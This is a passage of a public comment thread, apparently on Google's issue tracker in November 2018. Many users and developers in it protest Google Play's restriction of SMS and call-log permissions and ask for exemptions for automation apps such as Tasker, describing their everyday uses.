
Dear Google - please stop harming legitimate app developers and their users with policies born of a desire to protect other users from themselves and the apps they choose to install despite the broad permissions they request that are unrelated to their stated function.

so...@gmail.com <so...@gmail.com> #132Nov 11, 2018 08:20PM

Google, you have been doing big wrong with these restrictions.
Please lift off these restrictions. We are ready to expose our call logs/sms at our own risks.

jv...@ezetop.com <jv...@ezetop.com> #133Nov 11, 2018 08:27PM

Google please allow certain apps like tasker to be whitelisted for SMS and call access!

I chose android so I could customize my experience and using tasker I do amazing things:

- I donate to charity via an SMS short code when I press a button on my Wear OS watch via tasker and autowear.

- I take a break from my phone by using a special tasker profile that stops me from using it unless I get a call or a text message.

While we may only be the minority there are thousands of us who have improved our lives via automation apps like tasker and to lose SMS and call access in these apps would be terrible.

ca...@gmail.com <ca...@gmail.com> #134Nov 11, 2018 08:29PM

This is a terrible idea Google. This is like the number one paid app and you are wanting to remove core functions from the app. You want to set Android apart but do this? Please let us be able to have the choice. That's why I have Android.

go...@gmail.com <go...@gmail.com> #135Nov 11, 2018 08:29PM

Dear Google. You are becoming Apple. I get security but all you see is $'s

ma...@gmail.com <ma...@gmail.com> #136Nov 11, 2018 08:32PM

This functionality use case needs validated, Google do the right thing.

rb...@gmail.com <rb...@gmail.com> #137Nov 11, 2018 08:32PM

Please stop destroying developers and apps with your ridiculous restrictions. User already have to specifically grant these permissions. That should be enough. This is the perfect way to drive away users and developers, which are the lifeblood of Google.

b....@gmail.com <b....@gmail.com> #138Nov 11, 2018 08:34PM

Dear Google. Please hear your users. I chose Android exactly because it's open, flexible and functional. With such changes it will lose its advantages for me and I may go Apple. Which I don't want to do at all.
Please consider this seriously.

ks...@gmail.com <ks...@gmail.com> #139Nov 11, 2018 08:38PM

I love Android because of how open it is. For instance, Tasker. I can automate stuff that my iOS family couldn't understand. Please don't screw with what Tasker can do, otherwise my wife and I are going to end up switching to something else. Don't shoot yourself in the foot.

jc...@alumni.psu.edu <jc...@alumni.psu.edu> #140Nov 11, 2018 08:47PM

automation apps should be allowed sms/mms permissions.

am...@gmail.com <am...@gmail.com> #141Nov 11, 2018 08:56PM

Allow users to make decision to provide access. Tasker like apps are reason for me to use Android.

mb...@gmail.com <mb...@gmail.com> #142Nov 11, 2018 09:01PM

Tasker is one of the main reasons I am still an android user. Tasker is literally one of the main differentiating features between Android and iPhone. Please do not cripple it.

fr...@idreus.se <fr...@idreus.se> #143Nov 11, 2018 09:14PM

This is stupid, Tasker is one of the best reasons to keep android.
I use the sms function of Tasker daily. Don't cripple it!

sh...@gmail.com <sh...@gmail.com> #144Nov 11, 2018 09:16PM

Tasker is THE definition of why I love Android. Please reconsider!

kr...@gmail.com <kr...@gmail.com> #145Nov 11, 2018 09:17PM

Users are smart enough to decide their own permissions in this area. Restricting the abilities of automation apps such as Automate and Tasker, where it is the user who is actually writing the task, simply because they are not primarily phone apps, is going to make an awful lot of users very unhappy.

Please don't do it!

ch...@gmail.com <ch...@gmail.com> #146Nov 11, 2018 09:20PM

Android should empower users, not limit them.
Add more pop-up for apps that need these kind of permissions if it's necessary, but don't force users that know what they are doing to lose functionality in apps like Tasker.

bl...@gmail.com <bl...@gmail.com> #147Nov 11, 2018 09:20PM

Please don't hobble automation apps which we bought to do exactly these kind of tasks.

fo...@gmail.com <fo...@gmail.com> #148Nov 11, 2018 09:21PM

Do not remove this functionality I use it to auto reply when at the gym or riding a motorcycle (android auto does not work during those situations) also use tasker to block all calls not in contact list... If you remove then I may be forced to embrace Apple

pe...@gmail.com <pe...@gmail.com> #149Nov 11, 2018 09:26PM

Tasker and its abilities to automate tasks the way I want is the SINGLE MOST IMPORTANT REASON that I bought Android instead of iPhone since I switched from Blackberry five years ago. If I can't make my phone do what I want it to (without rooting) I might as well use Apple's spoon fed pablum devices. You're over protecting people.

za...@gmail.com <za...@gmail.com> #150Nov 11, 2018 09:29PM

Please don't force the removal of SMS-based task automation from Tasker! It's a lovely app and this is one of the most-used features in it.

ga...@gmail.com <ga...@gmail.com> #151Nov 11, 2018 09:30PM

Please reconsider! Thank you!

sh...@crashcode.net <sh...@crashcode.net> #152Nov 11, 2018 09:31PM

WTF Google, tasker is one of the most useful tools on Android because of access to things like SMS for automation. Increase security by all means, but there are many ways to do this...implement a severe warning for example. Treat us like adults not idiots.

ti...@gmail.com <ti...@gmail.com> #153Nov 11, 2018 09:37PM

Removing this feature potentially endangers lives. I use it to remind a family member to take necessary medication at regular intervals. Removing the feature opens up the potential for missed medication, which could lead to terrible consequences. This is unnecessary and easily avoidable

s....@gmail.com <s....@gmail.com> #154Nov 11, 2018 09:49PM

One of the main reasons for me to use android at all are apps like tasker to automate certain tasks with my phone.

Take that away, and you take away one of the main reasons to use android at all

jo...@gmail.com <jo...@gmail.com> #155Nov 11, 2018 09:50PM

dear google, stop coming up with dumb ideas.

v/r

sj...@gmail.com <sj...@gmail.com> #156Nov 11, 2018 09:55PM

I am on call 24/7. I depend on being able to identify the contents of an SMS message so I know the priority of the alert I am receiving, or if the problem has been resolved, by sounding a different audible alert tone based on that priority. The fact that I have been able to do this for the past 7 years is THE REASON that I chose Android over iPhone. Automation apps, such as Tasker or Locale should continue to be on the permitted uses list. Why not simply default the permission to no, and require the end user to grant it explicitly at the time of usage, much like has been done with several other permissions. Certainly this approach would achieve the same results, and would be less disruptive and draconian.

kb...@gmail.com <kb...@gmail.com> #157Nov 11, 2018 09:55PM

Applications like Tasker are the one reason I prefer Android to iOS. If Google continues to make it harder (or, in this case, impossible) for these apps to work, I will have no reason to remain an Android user.

mi...@gmail.com <mi...@gmail.com> #158Nov 11, 2018 09:57PM

Automation tools, like Tasker should be able to access functions of the phone the user has granted the right to do so.

Let it access sms (and mms) - it's a function I use frequently.

ga...@gmail.com <ga...@gmail.com> #159Nov 11, 2018 09:59PM

Tasker is a very powerful and extremely important automation application. If the changes you suggest are implemented, this will considerably reduce the usablity of the application; the functions that you have determined to not be "core" functions are still very commonly used. There comes a point where the user needs to be able to choose what to do with their device, up to and including giving sensitive permissions to a trusted application. Please reconsider your decision not to provide an exception to this proven application and its careful and responsive developers.

mr...@gmail.com <mr...@gmail.com> #160Nov 11, 2018 10:14PM

I'm another Tasker user. I find extreme use in it's functionality and this would butcher some of my use in it quite largely. Please reconsider this choice.

se...@gmail.com <se...@gmail.com> #161Nov 11, 2018 10:21PM

Ihave to agree with all the people asking you to make an exception for tasker!

This is another request not to restrict apps like Tasker from accessing SMS and calls. I use it daily to auto reply to SMS when I'm in a meeting or on a call. So do tons of other users.

Please don't cripple Tasker. It's the main reason why I choose to use Android over iOS.

I'm another Tasker user. I find extreme use in it's functionality and this would butcher some of my use in it quite largely. Please reconsider this choice.

br...@gmail.com <br...@gmail.com> #162Nov 11, 2018 10:23PM

Do not cripple Tasker or similar apps. The user should have the decision on what permissions an app has.

ta...@gmail.com <ta...@gmail.com> #163Nov 11, 2018 10:35PM

I AM A TASKER USER WHO UTILIZES SMS FUNCTIONALITY. DO NOT SHUT US OUT GOOGLE.

gr...@gmail.com <gr...@gmail.com> #164Nov 11, 2018 10:38PM

Please stop taking functionality away from Tasker. It is probably literally the only reason why I use Android phones.

As for the SMS/MMS functionality, I use it quite frequently. Please do not remove this function from Tasker, you are only succeeding in angering a large proportion of Android users.

lo...@gmail.com <lo...@gmail.com> #165Nov 11, 2018 10:41PM

I'm another Tasker user. Access to call logs and SMS functionality are literally the features I use the most with the app, which allows my phone to auto respond to specific text messages when I'm driving, or send a text message when I receive a call and I'm unable to respond due to various reasons.

I don't understand why automation apps shouldn't be allowed to use these permissions: it's the whole point of AUTOMATION APPS!

fl...@gmail.com <fl...@gmail.com> #166Nov 11, 2018 10:53PM

i thought the whole point of "permissions" was so they could either be allowed or denied. If google is going to make those decisions for us then they may as well be Apple.

mr...@gmail.com <mr...@gmail.com> #167Nov 11, 2018 10:53PM

Adding one more voice to the crowd. Please don't break Tasker. It makes our lives easier in countless ways.

sa...@attanasio.org <sa...@attanasio.org> #168Nov 11, 2018 10:56PM

I am also a Tasker user, and use the app to send text messages quite frequently. Please do not remove access to this function.

ch...@gmail.com <ch...@gmail.com> #169Nov 11, 2018 11:14PM

Please allow Tasker to keeps its access to SMS and Phone calls. They are useful in automation in countless ways.

vo...@gmail.com <vo...@gmail.com> #170Nov 11, 2018 11:25PM

So assistants are an exception, but not automation. This makes literally no sense, please add automation to the list of exceptions.

ka...@gmail.com <ka...@gmail.com> #171Nov 11, 2018 11:25PM

Hello! I completely understand that you're concerned about nefarious actors, but surely banning people using these permissions in good faith as part of a clearly broadcasted feature is crossing the line into Apple territory where you're telling people what they're allowed to and not allowed to do with their phone with their consent. Perhaps a different route would be to enhance security granularity? Clearly the good and the bad are split into accessing SMS/MMS/calls for internal functionality only and accessing it for third party use. Perhaps in this case devs should explicitly show their data handling methods for approval or disapproval, rather than banning usage totally?

All that aside, please allow Tasker to keep its access. They explicitly announce their intent and it is provided clearly as a feature with no nefariousness implanted. Even more importantly, it offers these features as an auto-disabled opt-in feature, so permissions are only asked of and granted to Tasker if the user has consented to the feature in order to use it for automation.

al...@gmail.com <al...@gmail.com> #172Nov 11, 2018 11:27PM

This is very much part of my daily life at Tasker, please do not remove this fracture from tasker?

bo...@gmail.com <bo...@gmail.com> #173Nov 11, 2018 11:32PM

Tasker is the one app that always keeps me attached to Android. If Google starts removing useful features like the ability to access SMS and phone calls, it's going to be much easier for me to jump ship. Words can't describe my disappointment with Google if they start screwing with my favorite app.

wa...@gmail.com <wa...@gmail.com> #174Nov 11, 2018 11:49PM

Please do not restrict apps like Tasker from accessing SMS. I use this (along other things) to detect texts about trash pickup, and feed this to my home automation system.

As it stands, Tasker is the last reason I have for why I'm sticking with Android over iOS on my phone, and if you start restricting the features of Tasker, then there's really no reason not to switch to an iPhone for the next upgrade.

If you have to restrict, at least make it available in some obscure developer option that you have to track down. As long as it's possible for the people who actually need this!

th...@gmail.com <th...@gmail.com> #175Nov 11, 2018 11:52PM

Please don't remove SMS/MMS accessibility options from us, TONS of people including me use it and rely on it every single day, and if I lose this functionality because Tasker is not made an exception to this rule, I will likely leave the Android ecosystem.

I understand the need to maintain security, but there are very likely other, better ways to do this... Such as leaving things the way they are. Apps are NOT given accessibility over SMS/MMS by default anyway, we have to enable it in the settings. So why further restrict our options as consumers? One of the only things left that makes Android better than Apple/iOS is giving the user freedom to make their own decisions about their device and how they want to use it, and if you continue to go down this route, I will not continue using services related to Google or the Android ecosystem, because there won't be any point.

te...@gmail.com <te...@gmail.com> #176Nov 11, 2018 11:54PM

Another daily Tasker user requesting that said features not limit the Tasker or indeed total Android experience. Tasker has become integral for the Android experience, and is one great reason why I remain. I urge the Google team to reconsider, or at the very least make exceptions and have Tasker firmly in this category.

wi...@gmail.com <wi...@gmail.com> #177Nov 12, 2018 12:15AM

Google, Tasker is a main selling point for Android over iOS because of the empowerment it gives power users to code their devices. There is no way an user, let alone a third party, can exploit this or accidentally use it.

However the uses for it being able to monitor/use call/SMS is literally priceless, and a major point.

Tasker should be considered a core android app. If you took some time to look over the horizon instead of your own bellies, dear Google, you would realize that actually hiring Tasker Team and making it officially google would be one of the best moves Android could take in all history.

Hurting Tasker hurts paying power Android users, which hurt Android.

er...@gmail.com <er...@gmail.com> #178Nov 12, 2018 12:16AM

Please don't ruin Tasker. I enjoy having an unrooted phone, even though AFWall cannot run on it, but the ability for Tasker to send messages in situations I program it to is crucial. It's so simple to just add an exception for Tasker, or to allow users the choice. Please do so, and avoid ruining the best part of android.

da...@gmail.com <da...@gmail.com> #179Nov 12, 2018 12:17AM

https://www.reddit.com/r/Android/comments/9w2uc7/tasker_google_is_taking_away_smsmms_and_call/e9itfud

eb...@gmail.com <eb...@gmail.com> #180Nov 12, 2018 12:44AM

Please make Tasker an exception. My phone is unrooted and I want to keep it that way. Thank you.

g....@gmail.com <g....@gmail.com> #181Nov 12, 2018 01:05AM

Tasker is the main reason I have used Android for so long. I don't understand why Google seems to make so many boneheaded decisions, always tweaking the permissions and stuff to restrict activities that people have been benefiting from for YEARS. No wonder so many people root their device! Google: please stop doing such annoying, iron-fisted crap and let us use our phones the way we please.

en...@gmail.com <en...@gmail.com> #182Nov 12, 2018 01:58AM

Google, please don't do evil.

This new policy not only affects Tasker, but other new app developers like myself. I'm trying to release a SMS based app that would send text to friends/family in case of an emergency. Not all applications of automated SMS systems are for malicois reasons - we implore you to at least consider justified exceptions.

Android represents openness and choice for consumers. This would be a step in the opposite direction. And as an aspiring developer, I want to believe on the Android ecosystem and what it stands for.

Please give us a chance.

jo...@gmail.com <jo...@gmail.com> #183Nov 12, 2018 02:23AM

Please don't cripple tasker!

kn...@gmail.com <kn...@gmail.com> #184Nov 12, 2018 02:25AM

I also all for support for allowing tasker to continue to have these permissions. I have a Tasker task that is used daily to send an sms message to myself. It's a great feature that I've come to rely on. Surely there's a way you can safely allow Tasker to access these permissions. Thank you.

ma...@mattlovett.com <ma...@mattlovett.com> #185Nov 12, 2018 02:39AM

Please make an exception for programs such as Tasker.

bi...@gmail.com <bi...@gmail.com> #186Nov 12, 2018 02:41AM

Please. Please. Pleeeeeeeeeeeeease make an exception for Tasker. I use this feature more than anything else Tasker does and I need it desperately! Please!

am...@gmail.com <am...@gmail.com> #187Nov 12, 2018 02:44AM

Please ass TASKER to the whitelist.

fe...@gmail.com <fe...@gmail.com> #188Nov 12, 2018 02:44AM

Hey Google, please don't remove these permissions (call and SMS) from Tasker (and Join, from the same dev) , they are genuinely useful, plus we knowingly grant these permissions. Please consider making an exception with one of the best apps Android has to offer...

am...@gmail.com <am...@gmail.com> #189Nov 12, 2018 02:44AM

Please add TASKER to the whitelist.

ra...@gmail.com <ra...@gmail.com> #190Nov 12, 2018 02:50AM

If Google doesn't make an exception for Tasker, it will prove the fact that Google doesn't give a damn about it's Android user base. Flat out, period. No other way to see it.

su...@gmail.com <su...@gmail.com> #191Nov 12, 2018 02:54AM

Keep Tasker white listed for this. Listen to the community. Just give a warning or something. It's no good to lock down features for people who use them.

wo...@gmail.com <wo...@gmail.com> #192Nov 12, 2018 02:57AM

Throwing in one more voice to whitelist Tasker.

de...@gmail.com <de...@gmail.com> #193Nov 12, 2018 02:58AM

I am ex-tasker user, has switched to Automagic for almost 1,5 year. While I only use Automagic, but i want to support other apps too.

Any call/messaging app should be excluded from the restriction. This include the app that can do call/sms backup. Automation app and its companion app should be excluded too. Automation app probably are one the big reason that users still prefer pixel phone compared to fruit phone at the same pricing.

Google can implement extra confirmation from the play services. Then if the users already accept that, then the app they choose will be allowed to use those permission properly. Devs are also required to put additional warning about the call/sms permission in the playstore. It is just additional confirmation for the power user, and still be safe enough for majority.

ni...@nickme.com <ni...@nickme.com> #194Nov 12, 2018 03:00AM

It's almost like my Droid is morphing into a IPhone

pe...@gmail.com <pe...@gmail.com> #195Nov 12, 2018 03:12AM

I rely on Tasker every single day to read and send SMS texts. There are multiple escalating methods of allowing apps more permission than the default "safe" levels and there should certainly be a way to allow Tasker these abilities for users who are capable of enabling such features. Don't gut Tasker by refusing to add it to the exceptions to this policy or else by allowing another way for it to perform these actions.

ii...@numberzero.org <ii...@numberzero.org> #196Nov 12, 2018 03:21AM

I use Tasker to block the constant spam bot calls by sending calls immediately to voicemail if they aren't from a number in my contacts list. No other app or integrated functionality can do this. By preventing Tasker from having access to the phone permissions I won't be able to do anymore. This is an anti-user move!

me...@gmail.com <me...@gmail.com> #197Nov 12, 2018 04:16AM

Adding my two cents, I want Tasker to maintain access to SMS and call logs. It allows me to see missed calls from my kids' daycare while I work in an area where I can't have my phone.

ge...@gmail.com <ge...@gmail.com> #198Nov 12, 2018 04:23AM

I'm not just here to request an exception for Tasker. I'm also asking you to give better considerations to other apps that request these permissions

ec...@gmail.com <ec...@gmail.com> #199Nov 12, 2018 04:24AM

Google this is ridiculous, you are literally acting in direct opposition to your devs and a significant portion of your user base. I prefer Android because of the flexibility and control it gives me as a power user over how I want the device to work and what I want to do with it. Apps like Tasker are at the very core of this choice and a great example of why many people like Android. The way you are currently handling this is disturbingly similar to Ninatic's stance that rooted devices equal cheaters. You have made the decision and now are ignoring criticisms even if valid, forcing devs to gut their apps of features resulting in them being useless and even in cases that the dev takes the time to file a detailed request for an app that legitimately needs the permissions they only get responses that anyone with half a brain can tell are baseless at best and down right stupid at worst.

The worst part about this is that you are literally taking a living away from devs who have spent so much time and effort to make quality apps. And to make it worse you are even making them still do the work to modify the apps even when they decide to unpublish meaning they have to spend time they could be using on other work, improving their apps or even just with their families in order to make sure they don't have the accounts banned by your braindead automated systems and policies.

The time has come for you to decide if Google's one time motto of "Don't be evil" means anything anymore because the company that you are becoming is not the one that you are pretending to be.

jd...@gmail.com <jd...@gmail.com> #200Nov 12, 2018 04:29AM

Yet another comment requesting that you not screw up basic functionality for apps like Tasker. This is part of my family's communication and security workflow.

mq...@metroconnectonline.com <mq...@metroconnectonline.com> #201Nov 12, 2018 04:38AM

Adding to my previous comment with my real world use case. I have a notification reminder system implemented in Tasker, which audibly reminds me of SMS/MMS from specific senders, with frequency and sound of the reminders varying based on sender, message text and time of day. This also integrates with a Tasker-implemented system that reads incoming texts while I'm driving, which allows me to respond, reminding me of the incoming text later if I choose not to listen as the message arrives.

I have also implemented in Tasker the logging of incoming and outgoing phone calls in the Time Recording Pro app while I'm working, so my work records include time spent on phone calls.

Please don't deny more advanced users these abilities in an effort to protect users who ignorantly grant any and all permissions requested by an app. If you continue down this path, we might as well go back to flip phones.

sl...@gmail.com <sl...@gmail.com> #202Nov 12, 2018 04:47AM

Please don't screw up Tasker, Google.

st...@gmail.com <st...@gmail.com> #203Nov 12, 2018 04:48AM

Hello
Adding another comment (via

https://www.reddit.com/r/tasker/comments/9w2cq6/google_is_taking_away_smsmms_and_call/) asking you don't go the way of Apple and be restrictive when unnecessary.

do...@gmail.com <do...@gmail.com> #204Nov 12, 2018 05:12AM

Signing on to ask you to please don't be unnecessarily to apps like tasker. The freedom to think for myself as an end user is what makes me an android user. At the very minimum make exceptions for carefully curated apps like tasker.

ba...@gmail.com <ba...@gmail.com> #205Nov 12, 2018 05:17AM

Wow what an awful thing to do Google. These developers have built apps and whole businesses around you and you choose to screw them. The most useful apps I've had on my phones for years won't be allowed now? Apple may be a trillion dollar company but for the love of god don't follow in their footsteps. That's why we all have Android devices and NOT Apple! I don't even know what Tasker is but a ton of other apps I do use are at risk. I highly doubt anyone from Google actually reads all this crap here....I see no reason why they should honestly GAF about us and what we want...we are the stupid people who keep giving them money while they ratchet down their control of our devices and in the end there is nothing anyone can do about it. Sucks!!

jz...@gmail.com <jz...@gmail.com> #206Nov 12, 2018 05:25AM

For me the biggest advantage between Android and iOS is freedom. Freedom to customize a lot of thing. Tasker let's you automate a lot of stuff. I use it to automatically call our office gate for it to open. It would suck if I would manually have to do thing every time.

la...@gmail.com <la...@gmail.com> #207Nov 12, 2018 05:44AM

Seriously Google? Yet another user that does NOT want you screwing up Tasker. Grant them an exception and quit this nonsense.

th...@gmail.com <th...@gmail.com> #208Nov 12, 2018 05:54AM

Forcing Tasker to remove SMS and Call permissions makes no sense, especially considering expectations made in the past regarding task automation apps. Please reconsider, Tasker and apps like it are a large part of my daily user of Android.

sc...@gmail.com <sc...@gmail.com> #209Nov 12, 2018 05:55AM

This is a complete joke, seriously. It's like the Google employees making rhse decisions don't even understand the Android ecosystem one little bit.

I'd love to know if they do. I bet they use iPhones right?

This decision is one massive step in the wrong direction for everyone. The devs, the users, GOOGLE. Everyone.

Who even comes up with idiotic calls like this. Do you throw darts at a dartboard with random ideas pinned to it?

Get a grip for goodness sake.

e....@gmail.com <e....@gmail.com> #210Nov 12, 2018 06:27AM

Tasker is a big part of what makes me like android. Please reconsider this issue.

fl...@gmail.com <fl...@gmail.com> #211Nov 12, 2018 06:39AM

With one hand, you try and fail to automate our lives. With the other hand, you want to kill the greatest automation app of the plateform. Please let power users take advantage of Tasker and give it what it needs.

mk...@gmail.com <mk...@gmail.com> #212Nov 12, 2018 06:39AM

WTF Google? This is one of the stupidest things ever. Don't take away useful functionality! Force the end user to actually read a damn notification for once. Seriously, with this and all the awful design decisions in Pie I am seriously considering leaving Android again.

TL;DR: STOP BEING STUPID!

ch...@gmail.com <ch...@gmail.com> #213Nov 12, 2018 06:52AM

The main reason people use android is coz they are power users. If they were dumb enough not to read permissions and grant usage permissions to every single app, they should use iPhones and not android. How are people supposed to use call recorders now??now we will be forced to grant temporary permissions to validate OTPs every single time.

FU**ING idiots at Google, PLEASE STOP RUINING ANDROID.

cu...@cubox.dev <cu...@cubox.dev> #214Nov 12, 2018 07:51AM

Google's intention with this change might be to help user's privacy, but the way this policy change is handled is detrimental to power users and developers using Android.

Please reconsider, you are using your monopoly to block some features people have been using for years!

This change will increase the number of people sideloading these apps, lowering security overall for everyone.

bo...@gmail.com <bo...@gmail.com> #215Nov 12, 2018 07:51AM

Please make an exception for Tasker. Tasker is an assistant that is triggered not only by pressing a button or saying it's name, but by anything. As a disabled user it isa major accessibility feature to have an app like Tasker able to read and send sms. It allows me to handfree have mysms read to me andi can reply back. It allows me to do everything my phone can do without having to pick it up and handle it manually. This app allows me to have a customized assistant that does what i need based on custom commands and trigger events. The stock accessibility features of Android and the Google Assistant are not up to par, but Tasker fills a huge gap. Because it can do so much, you might not seesms as a critical feature, but for me it is. The fact that Tasker can do everything, or nothing, is what makes it such a valuable asset as an assistant, and an accessibility tool. I don't expect the reviewer to understand Tasker through a brief look, it has depth, just please trust that it is a very important piece of the Android ecosystem for users who needa fully featured assistant and give it an exception to this rule. Thank you

da...@gmail.com <da...@gmail.com> #216Nov 12, 2018 08:17AM

The proposed changes will seriously diminish Tasker and many other app's uses. Please reconsider how you respond to the issue of security in android, because apps such as these are what distinguishes android as an open, flexible system

ma...@gmail.com <ma...@gmail.com> #217Nov 12, 2018 09:15AM

Please exclude from the rule automation apps like Tasker and IFTTT, they're an integral part of the user experience for providing functionality, including SMS based events.

Just as simple functionality like turning on sound volume after receiving sms with magic text. Now I'll have to trust a 3rd party app with internet access for that?

This change is extremely counterproductive, privacy-wise when regarding automation apps

pa...@gmail.com <pa...@gmail.com> #218Nov 12, 2018 09:17AM

me - Tasker needs this for various profiles. There is a full permission system in place. Just make the prompt a default setting for the apps that needs this.

lb...@gmail.com <lb...@gmail.com> #219Nov 12, 2018 09:24AM

Google recently wanted to ruin accessibility features, ruin call recording, and now this...
Google, please stop ruining Android.
It's not like we have a better choice.

Remove the human factor on the Play Store from deciding which app is allowed to use the permissions. That's what Apple does to apps.
It's not like we need censorship of such apps. Many apps, and not just Tasker, actually need those permissions to work well.
Narrowing the types of apps that are allowed for using the permissions is an absurd solution.

Just force developers to add descriptions to the permissions. Be clearer to users.
If something looks shady and doesn't make sense, users can report, and only then Google should take action.
If you insist, Google could also take a look at the description for each app before the app first gets published (and take action only if it looks shady), but shouldn't ban already existing apps without letting them a way to continue working as before.
Only if the app seems to be doing bad things that it didn't write about, it should be banned. Why punish all apps?

he...@gmail.com <he...@gmail.com> #220Nov 12, 2018 09:25AM

I use many automation apps with tons and tons of profiles that take advantage of SMS and CALL actions. With these new policies in place, more than half of my profiles including one very major project will stop working with no workaround.

Automation Apps must be allowed permission for SMS and CALL

yg...@gmail.com <yg...@gmail.com> #221Nov 12, 2018 09:42AM

Uncool!

ol...@gmail.com <ol...@gmail.com> #222Nov 12, 2018 09:48AM

So no-one at Google is aware of the Tasker app and it capabilities and what it is for? So they just cripple it and say that it is not allowed and do not make an exception for it? Bad decision Google. Re-think!

co...@gmail.com <co...@gmail.com> #223Nov 12, 2018 10:32AM

Please allow exceptions for automation apps like Tasker!

ri...@gmail.com <ri...@gmail.com> #224Nov 12, 2018 11:51AM

Please do not take this functionality away from any app. I like having my sms's and call log backed up. I love everything tasker does. please do not do this at all.

d2...@gmail.com <d2...@gmail.com> #225Nov 12, 2018 11:51AM

Do not do this Google! Do not restrict Tasker! I actually use a lot of these features. It's almost like half of my profiles. I use it to say who is texting or calling, I have VIP contacts that will always notify me when they call or text no matter if my phone is silent or vibrate, it will ring for them. I send automatic text messages to my family like emergency contact when I'm in the car to let them know I arrived and or I left, etc. Plus many more!

We paid for Tasker!
We know what permissions Tasker needs!
We are Tasker users so we are fully aware that's why we purchased it!

sc...@gmail.com <sc...@gmail.com> #226Nov 12, 2018 11:53AM

I also use Tasker on a daily basis to automate the routine parts of my life. Among other things, I use Tasker to notify my family via SMS when my battery reaches 4% so they don't worry if they can't reach me. This customization is one of the main reasons I like android. Please make an exception for automation apps like Tasker!

gj...@gmail.com <gj...@gmail.com> #227Nov 12, 2018 12:06PM

Please allow Tasker to have an exception for this functionality. I have Tasker send SMS as part of a routine that I use every day. Losing this would be a significant loss of functionality for me.

ba...@gmail.com <ba...@gmail.com> #228Nov 12, 2018 12:14PM

I too want to be counted amongst those who are requesting an exception for Tasker. I primarily use it for sending automated SMS messages and count it as one of, if not the most essential Android apps out there.

I will be saddened to see my primary use case for it ruined by some short-sighted, overreaching rule made up out of nowhere. I paid for Tasker for this functionality and am fully capable of administrating my own phone permissions without Google doing it for me.

th...@gmail.com <th...@gmail.com> #229Nov 12, 2018 12:38PM

I too, am in favor of an exception for tasker.

ma...@gmail.com <ma...@gmail.com> #230Nov 12, 2018 12:41PM

Tasker is the best thing since sliced bread. I have to use it because your default call blocking facilities are less than worthless. This would force me to do... What exactly? Yes. Root my phone and not install the newer more secure version of android... Something something shooting own feet..
Please do not cripple tasker.

vp...@gmail.com <vp...@gmail.com> #231Nov 12, 2018 12:52PM

I am in favor of an exception for automation apps - Tasker, Automate, MacroDroid

st...@gmail.com <st...@gmail.com> #232Nov 12, 2018 01:05PM

There needs to be an exception in place for Tasker

jo...@reach.me.uk <jo...@reach.me.uk> #233Nov 12, 2018 01:17PM

+1 for Automagic (similar to Tasker)

su...@gmail.com <su...@gmail.com> #234Nov 12, 2018 01:18PM

ar...@gmail.com <ar...@gmail.com> #235Nov 12, 2018 01:36PM

Tasker is the very reason I use Android. If Google keeps restricting it, I'd have no reason not to switch to Apple. Please don't take away the things that make Android great.

re...@gmail.com <re...@gmail.com> #236Nov 12, 2018 01:46PM

I am in favour of exception for AUTOMATE

ad...@gmail.com <ad...@gmail.com> #237Nov 12, 2018 02:04PM

In favor for exception of Automate and tasker! This is bullocks!

jg...@gmail.com <jg...@gmail.com> #238Nov 12, 2018 02:30PM

You will lose a lot of very loyal followers if you constantly take more steps towards making Android more and more locked down like Apple products. I have been using Tasker for years to include tasks through SMS for my children. You will be effecting my families safety by continuing to denying Tasker it's automation freedom.

Stop destroying our phone freedoms!

no...@gmail.com <no...@gmail.com> #239Nov 12, 2018 03:08PM

Dear Google,

Taking away such functionality would have massive ramifications that would impact every app across the platform (including your own apps), many high-quality apps would be effectively rendered completely useless, which ends up costing a lot of money for everyone effected, including you, Google. In addition to that, rules such as this one takes more and more reasons for many people who are dissatisfied with Apple products to switch to Android; as these practices almost exactly mimics what Apple has been doing lately. I would highly recommend that there be an except for Tasker, since it's one of the most popular apps available on the store and these rules would set a bad precedence that would very likely drive off potential developers (such as myself) from joining the platform in addition to driving customers from the platform all together.

Sincerely, Nova

za...@gmail.com <za...@gmail.com> #240Nov 12, 2018 03:30PM

This is a hot load of BS, Google. Tasker is one of the oldest, most respected, and best poweruser apps out there. Attacking them and denying their polite request for exemption is tantamount to spitting in the faces of your longest-time users. Also, we're your most vocal users, Google - who do you think the Grandparents of the world look to? The coworkers who are "no good with those computer things, I just wanna look at pictures of cats" - we turned on Apple as soon as Android came along, but we can certainly tar you with the same brush. Watch yourself.

sv...@gmail.com <sv...@gmail.com> #241Nov 12, 2018 03:49PM

Please don't do this, another limitation to the collection?

ee...@gmail.com <ee...@gmail.com> #242Nov 12, 2018 03:50PM

Dear Google,

The functionality provided by Tasker for SMS and calls is one that I love absolutely in regards for the customization of how I want to experience using my phone. Taking this away from such a great application like Tasker removes one of the basic tenets of why I use Android instead of iOS. Being able to handsfree reply to messages and allow my loved ones to know where I am simply by sending a message to my phone would be removed by this change you're enacting with the developers of apps like Tasker. You need to continue to allow automation apps like Tasker to function as they have been instead of stripping away their usefulness, otherwise you run the risk of alienating customers like myself who will search out the next OS that will give me the customization that I need.

ha...@gmail.com <ha...@gmail.com> #243Nov 12, 2018 03:52PM

Automation apps just Tasker should be excluded from this restriction, thats their whole point and one of their "core" features unless you are also going to remove google assistant as well. This whole restriction thing is stupid anyways, a better solution would be to force all apps to show clear warnings and permission requests at installation, people should make their own choice. freedom should be what android is about. educate people about this instead of changing the whole world to convenience the dumb people.

ts...@gmail.com <ts...@gmail.com> #244Nov 12, 2018 04:06PM

Please exclude automation apps (Takser, IFTTT, etc.) from this policy. There are many users who rely on these apps to send important messages or execute commands on their phones. The user must explicitly give these apps permission to use SMS/MMS functionality and then the user has to explicitly set up a task/flow to use send a message so there should be no issues with these apps abusing access to SMS. Also, the freedom to choose and have more control over my phone is one of the biggest reasons why many users prefer Android phones over iPhones. The more choice and freedoms that are taken away from users, the more users that may switch to iPhones.

dg...@gmail.com <dg...@gmail.com> #245Nov 12, 2018 04:22PM

Google you know what you are doing here. You are IOSing android. Do not take away features!

This should mean then that google assistant should not be able to receive sms.

ma...@gmail.com <ma...@gmail.com> #246Nov 12, 2018 04:25PM

I need automate to have access to SMS. Don't restrict access

yo...@gmail.com <yo...@gmail.com> #247Nov 12, 2018 04:29PM

